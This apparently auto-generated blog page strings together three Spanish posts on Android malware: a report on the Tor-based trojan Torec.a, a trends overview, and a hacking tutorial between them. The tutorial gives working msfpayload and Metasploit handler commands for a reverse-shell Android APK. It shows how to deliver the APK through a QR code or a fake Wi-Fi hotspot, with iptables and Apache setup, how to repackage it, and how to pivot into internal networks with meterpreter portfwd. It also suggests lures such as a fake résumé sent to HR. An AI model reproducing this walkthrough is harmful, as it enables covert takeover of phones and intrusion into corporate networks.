Encontrado por primera vez un malware para Android basado en Tor

Los smartphones ya están presentes cuando usamos la banca online, el comercio electrónico o la computación en la nube. Sin embargo, con el crecimiento del uso de los smartphones, también es más fácil atacar a los propietarios de los negocios online y ésto se está traduciendo en un pico en el crecimiento de malware. Actualmente, Kaspersky Lab ha encontrado un nuevo troyano para Android basado en Tor.

Acerca de la red Tor:

Tor es una red de varias capas para mantener la privacidad que trabaja con sus propios dominios .onion. Protege la ubicación del servidor y la identidad del propietario. Debido a su sistema y a su arquitectura de capas, Tor parece más lento en rendimiento pero permite facilita alojar servidores maliciosos dentro de ella. Diversas acciones de botnets masivas podrían manipular toda la red.

El malware encontrado se llama "Backdoor.AndroidOS.Torec.a" y se basa en Orbot, una plataforma de código abierto del cliente Tor para dispositivos móviles Android. Este programa malicioso/troyano funciona con dominios Tor .onion. No está claro el número de dispositivos infectados por este malware hasta ahora.

El troyano utiliza la funcionalidad del cliente Orbot, pero no lo copia. Es decir, el atacante simplemente añade código en su aplicación.

Se cree que el malware controla el servidor y se comunica con su servidor C&C (servidor de comando y control) mediante el protocolo oculto Tor (Tor hidden protocol). Este malware basado en Tor es capaz de robar SMS, números de teléfono, los detalles del país, IMEI, la versión del sistema operativo, puede hacer una petición USSD y puede enviar SMS a un número específico. Sin embargo Kaspersky no ha mencionado si este malware puede interferir en la información bancaria o no.

Para evitar la infección de este malware en tu Android vale la pena considerar algunos puntos:

• Instalar aplicaciones desde Google Play y evitar los recursos de terceros.
• Asegurarse de tener la opción sin marcar "fuente desconocida" en los ajustes.
• Leer los comentarios antes de descargar cualquier aplicación.
• Prestar mucha atención a los permisos durante la instalación de la aplicación.
• Instalar la protección de antivirus y firewall.
• Mantener al día las aplicaciones cada vez que esté disponible una actualización.

Hemos visto un crecimiento dramático en el malware para Android en los últimos dos años. Esto es debido a que la gente ha empezado a pasar del uso de los escritorios pesados al uso de Smartphones. Los hackers crackers están adoptando técnicas de hacking sofisticadas para manipular los dispositivos y robar información para utilizarla de forma ilegal. Según la encuesta el 99% de los dispositivos están en riesgo. Debido a que es de código abierto y las posibilidades de personalización, Android se ha convertido en popular entre los desarrolladores, y para los hackers.
 
English version:
 
Smartphone is now involved everywhere whether you surf for online banking, E-commerce or cloud computing. However, with the growth of Smartphone, it become easy for hackers to target online business owners and it’s resulting into peak malware growth nowadays. Currently, a new TOR based android Trojan malware is found by Kaspersky Lab.

About Tor Network:

Tor is an overlay network for secrecy, which works on its own domains named .onion that can be available via Tor. It protects the server location and identity of the owner. Due to overlay and its system, Tor seems slower in performance and hackers can host their servers within it. Massive Botnet actions can manipulate the whole network.

This malware is called “Backdoor.AndroidOS.Torec.a'”, which relies on Orbot, an open source Tor client platform for android mobile devices. This Trojan malware works on “.onion” - Tor domain. It is not clear about the number of devices infected with this malware till now.

The Trojan uses the functionality of the client, but do not copy Tor-client Orbot. The attacker simple adds code into your application.

It is believed that the malware control the server and steal communication with C&C server (command and control server) using TOR hidden protocol. This TOR based malware is capable of stealing SMS, phone numbers, country detail, IMEI, OS version and can make USSD request, and can send SMS to a specified number. However Kaspersky did not mention whether this malware can harm banking information or not.

To avoid malware infection in your android below is some worth considering points.

•    Install app from Google Play and avoid third party resource.
•    Ensure that you have unchecked option “unknown source” in Smartphone App setting.
•    Go through reviews before downloading any app.
•    Pay close attention to permission while installing app.
•    Install antivirus and firewall protection.
•    Update your application whenever update is available.

We have seen a dramatic growth in android malware in past two years. As people started to move from heavy desktop usage to Smartphone usage, hackers are adopting sophisticated hacking techniques to manipulate the devices and steal information to use in unlawful way. According to survey 99%, devices are at risk. Due to open source and full privilege of customization, android becomes popular among developers as well hackers.

About Author 
 
Abel Wike is a head of fraud prevention team at ClickSSL.com. She enjoys the challenges of creativity and attention to detail. Advance Technology has always a source of wonder for her, sparking her research, to extend her sympathetic and knowledge of this earliest progress. In so doing she has focused with a deeper insight into various technologies. Follow her on Facebook, Twitter & LinkedIn

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Comprometiendo sistemas Android (1ª parte)

Cada día más personas utilizan smartphones y tablets para navegar por Internet y gestionar sus cuentas online. Por este motivo, los cibercriminales centran los ataques hacia estos dispositivos, lo que supone la aparición de nuevas amenazas y malware.

Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.

Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.

Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera. 

En esta serie de entradas vamos a ver como poder echar mano a este recurso....

Para el ejemplo, nos vamos a valer de un módulo de Metasploit, Android meterpreter, que cabe destacar que es una herramienta brillante desde su "simpleza", la cual sería muy fácil incluir en algún código a modo de 'backdoor' sin levantar muchas sospechas. A parte los creadores han dejado el código fuente y mucha información a nuestra disposición.
También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...

Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.

Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...
Como dije anteriormente para ilustrar esta entrada nos va a bastar con android meterpreter, con el que vamos a generar una aplicación para infectar nuestro objetivo. No nos vamos a entretener mucho en detalles pero para el que conozca meterpreter y msfpayload no le será difícil enrevesar el proceso a fin de complicar su detección...Tanto la elaboración como el ataque en sí difiere poco del meterpreter clásico:Abriremos nuestro terminal y a typear:#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk


Con esto generamos la aplicación, la cual nos está esperando en /root/Desktop/ 

recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).

Vamos a ver dos métodos sencillos el primero todo un clásico "QR" y en el segundo utilizaremos un falso AP (que ya vimos en Hackplayers y con el fin de darle a este "cotarro" cierta continuidad interesante).
Para la primera nos basta con subir nuestra aplicación a cualquier servidor y generar un código QR de enlace a esta, lo podemos hacer directamente con SET o con cualquier herramienta online para este fin.
(luego veremos lo que puede hacer saltar nuestras alarmas)..

Arrancamos SET y seguimos estos pasos:

1) Social-Engineering Attacks

Seleccionamos la opción
 
9) QRCode Generator Attack Vector

Ingresaremos la url donde hemos subido nuestra apk.

El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:

Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR  (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.2º método

Nuestro hotspot trampa

 10 min. Gimp, html basico...se puede mejorar. Mi gato que es de la Sgae reserva los derechos.
Aquí refinaremos nuestro engaño...Partiendo de la entrada anterior en la que creamos un punto de acceso falso, en esta ocasión añadiremos unas pequeñas modificaciones a nuestro AP para hacerlo pasar por un hotspot o portal cautivo lícito que ofrece servicio a Internet, y deberemos convencer al usuario a descargarse una aplicación y ejecutarla, para obtener un user y password válido. Si os acordáis, en el la entrada anterior hicimos un script para arrancar y darle las directrices a iptables al unisono se llamaba "RogueAP.sh"; en esta ocasión haremos otro que no es más que el mismo modificado con una  regla más de iptables para crear el portal cautivo.
  Si os dais cuenta tan solo le he añadido una linea.
iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.

INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas"). 

ficheros hotspot

Una vez descargada la carpeta , la copiamos a  /var/www/hotspot (previamente creado) y le damos permisos...

Ahora tan solo nos queda configurar apache.
Dado que llevo más de un asunto entre manos en mi servidor apache, para hacerlo que responda por el puerto 55555 que hemos configurado en Falsohotspot.sh anteriormente, y para hacer las cosas medio regular, he optado por configurarlo para que me sirva el hotspot como otro dominio en la máquina para ello seguiremos estos pasos...

#cp /etc/apache2/sites-available/default hotspot
#nano hotspot
Editaremos las 3 primeras lineas
 

Ahora activamos el site:

#a2ensite hotspot

En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.

#/etc/init.d/apache2 restart

Con ésto hemos terminado de configurar apache.

Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptablesHemos dicho que vamos a utilizar el POC de meterpreter para android.....(podríamos utilizar cualquier otra apk pero a sido lo primero que he agarrado).

Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos.. 
 
Para realizar estos necesarios cambios, si queremos dar el pego (y es aquí donde he visto que yo solo me liado, podría haber cogido un soft mas adecuado) utilizaremos un tipo de  aplicación  a la que mi compañero Vicente es asiduo ;D Apk_manager.. lo tenemos de todos los sabores Linux, Windows, y mac 

Una vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:

-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos

Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.

Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.

Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.

Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo...  proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android.... 
Puff ya llegamos al final tranquilos....Bueno a llegado el momento de comprobar si todo esta bien y arrancar nuestro invento...con una conexión a Internet por ETH0 (o en otra interface ya sea cableada o wireless) arrancaremos nuestro Hotspot con el script creado (no olvidar arrancar apache si no lo hemos hecho, y que eth0 tenga ip lo cual podemos forzar si es necesario con dhclient eth0), este a su vez arrancara nuestro servicio DHCP.sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 4444
exploitTan sólo nos queda esperar a nuestros nuevo/s amigos....

Al cabo de un rato....vemos que nuestro objetivo picó...
Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...

meterpreter>help

Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.

Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....

meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80

MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

El malware en Android está mutando y desafiándonos

Android es ya una de las plataformas para smartphones más populares. Pero también tiene asociadas vulnerabilidades. Un conocido informe de Juniper en 2013 mostró que Android es el principal sistema operativo infectado con un 92% de sus aplicaciones vulnerables. Los expertos en seguridad están mostrando su preocupación por las amenazas emergentes contra Android y los smartphones. Debido al aumento del uso de los smartphones, muchos usuarios han cambiado sus hábitos de navegación sustituyendo el escritorio por smartphones para sus tareas diarias. Ya sea comprando en línea, usando la banca o visitando los medios de comunicación social, su primera preferencia son los smartphone en lugar de la computadora portátil o de escritorio.

Si hablamos de informes de seguridad sobre smartphones en 2014, a continuación, el informe de seguridad de Cisco establece que vale la pena considerar el malware móvil en los próximos meses. Sin embargo, en 2013, la cuota de malware móvil fue de sólo del 1,2%, aunque en el futuro, los hackers apuntarán mucho más a los dispositivos móviles debido al cambio de tendencia de los usuarios y a la facilidad de acceso. Cisco dijo que algunos de los malwares móviles fueron diseñados para rastrear dispositivos smartphone, pero hay otros malwares diseñados para phishing likejacking y otros de ingeniería social.

Los usuarios de Android suponen el 71% de los destinatarios de malware, mientras que los usuarios del iPhone de Apple son un 14% frente al 14% del resto.

El informe de Cisco también mostró que hay un malware para Android llamado "Andr/Qdplugin-A" que el más encontrado en 2013 (43%).

En otro importante informe de seguridad de Sophos en 2014 figuran algunos de los malwares para Android más extendidos durante el año 2013, que son los siguientes.
    
A parte de los malware en Android listados anteriormente, todavía hay tres grandes malwares que se propagaron durante el 2013, y son los siguientes.

- La botnet llamada "Andr/GGSmart-A": Esta botnet funciona en PC y móvil de la misma forma que se usa un servidor de comando y control de un dispositivo móvil. Se puede enviar un SMS premium a cargo del dueño del dispositivo. Esta botnet puede cambiar el texto del SMS, controlar el número del SMS premium.

- Ransomware: En junio de 2013, el primer ransomware descubierto para Android fue llamado Defender Android. Este ransomware utiliza diferentes tácticas de ingeniería social y hace el dispositivo y sus archivos inaccesibles y exige el pago para liberarlos. Generalmente, el ransomware obtiene privilegios de administrador de acceso. Puede restringir las llamadas salientes, cambiar la configuración, cerrar las tareas y desinstalar las aplicaciones. Incluso el ransomware puede quitar el botón de volver e inicio del navegador.

- Andr/Spy-ABN: Es un nuevo tipo de malware, que tiene como objetivos las webs bancarias mediante una combinación de ataque man-in-browser y tácticas de ingeniería social para robar datos de los usuarios de smartphone.

Algunas medidas de seguridad desde la perspectiva del usuario y de la organización:

• Nunca responda a un enlace de anuncio desconocido ya que puede contener malware que puede instalar software malicioso o puede llevarle a otros sitios web.
• Rechace siempre aplicaciones que requieren permiso de acceso a los contactos y demás cosas personales durante la instalación.
• Use preferiblemente Google Play para descargar aplicaciones y evite terceras fuentes de descarga, ya que podrían contener aplicaciones maliciosas.
• Tenga siempre en cuenta opiniones de los usuarios antes de descargar ninguna aplicación.
• Use un programa antivirus conocido en su teléfono inteligente que analice periódicamente todo su smartphone.
• Mantenga el dispositivo actualizado. Siempre se deben considerar las actualizaciones de los fabricantes de dispositivos.
• Utilice su equipo sólo en una conexión inalámbrica segura, evite wifi gratuito.
• Las organizaciones deben elegir prevención de incidentes de malware de acuerdo con el entorno como administrado y no administrado.
• El personal de TI de las organizaciones deberán proporcionar conocimientos a sus usuarios y empleados para crear conciencia entre ellos sobre la vulnerabilidad y la mitigación de riesgos.
• Las organizaciones deben llevar a cabo una política de prevención de malware, que debe abordar la sensibilización del personal de TI, la mitigación de la vulnerabilidad y la arquitectura defensiva. Tal política debe ser flexible en cuanto a la actualización y la comprensión.

Por último, el malware móvil necesita una atención especial para evitar nuevos ataques cibernéticos. Los hackers han sofisticado sus tácticas de malware móvil para que los usuarios inocentes sean víctima del cibercrimen. Le invitamos a compartir sus pensamientos al respecto.

English version:

Android is already a popular platform for Smartphone. But it also carries vulnerability along with it. A well-known Juniper report in 2013 showed that Android is the mainly infected OS that contains 92% vulnerable apps. Security experts are showing concern about emerging threats against Android and Smartphone. Due to increase in Smartphone usage, many users changed their web surfing habit by replacing desktop with Smartphone for their daily tasks. Whether they are doing online shopping, online banking or visiting social media, their first preference would be Smartphone rather than laptop or desktop.

If we talk about 2014 Smartphone security report, then Cisco 2014 security report states that mobile malware is worth considering a topic in upcoming months of 2014. However, in 2013, mobile malware share was at only 1.2%, but in future, hackers would target Smartphone devices in a great amount due to changing trend of users and easy access. Cisco said that some of mobile malwares were designed to trace Smartphone devices, but there are other malwares designed for phishing, likejacking, and other social engineering.

Android users contribute 71%, facing all types of web delivered malware, while Apple iPhone users contribute 14% facing with 14% of all web malware encounters.

Cisco report also showed that there is an android malware named “Andr/Qdplugin-A” was most encountered mobile malware (43%) in 2013.
Another important Sophos 2014 security report listed out some most happening android malware during 2013, which are as follows.
 

From the above listed android malwares, there are still three major android malwares that spread havoc in 2013, which are as follows. 

Botnet named “Andr/GGSmart-A”: This Botnet works on PC and mobile in the same pattern like using centralized command and control of a mobile device. It can send a chargeable premium SMS to the device owner. This Botnet can change the text of SMS, control premium SMS numbers.

Ransomware: In June 2013, the first ransomware was discovered against Android device named Android Defender. This ransomware uses different social engineering tactics and makes files and device inaccessible and demands payment to release your device or files. Generally, ransomware gets access administrator privileges. It can restrict outgoing calls, change settings, kill tasks, and uninstall the apps. Even ransomware can remove back and home button of the browser.

Andr/Spy-ABN: It is a new form of malware, which targets banking website by making a combination of man-in-browser attack and social engineering tactics to steal user data from Smartphone.

Some security precautions from the user and organization’s perspective:

•    Never respond to unknown ads link as it may contain malware that may install malicious software or may lead you to the websites.
•    Always refuse apps that require access permission like contacts and other personal stuffs during the installation.
•    Always prefer Google Play for App download and avoid a third party download sources as it may contain malicious apps.
•    Always consider user’s reviews before downloading any apps.
•    Use trusted antivirus program in your Smartphone that regularly scans your entire Smartphone.
•    Keeps your device updated. Always consider an update from device manufacturers.
•    Access your device only in a secured wireless access, avoid free wifi.
•    Organizations should choose malware incident prevention according to environment like managed and non-managed environment.
•    Organizations’ IT staff should provide knowledge to its users and employees to bring awareness among them about vulnerability and risk mitigation.
•    Organizations should carry out malware prevention policy, which must address IT staff awareness, vulnerability mitigation, ndefensive architecture. Such policy should be flexible in terms of update and understanding.

Finally, mobile malware needs individual attention to avert further cyber attacks. Hackers have become sophisticated and use mobile malware tactics to make the innocent users victim of cyber crime. You are welcome to share your thoughts on same niche.

About Author: Abel Wike is a head of fraud prevention team at ClickSSL.com She enjoys the challenges of creativity and attention to detail. Advance Technology has always a source of wonder for her, sparking her research, to extend her sympathetic and knowledge of this earliest progress. In so doing she has focused with a deeper insight into various technologies. Follow her on Facebook, Twitter & LinkedIn

View the original article here

This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.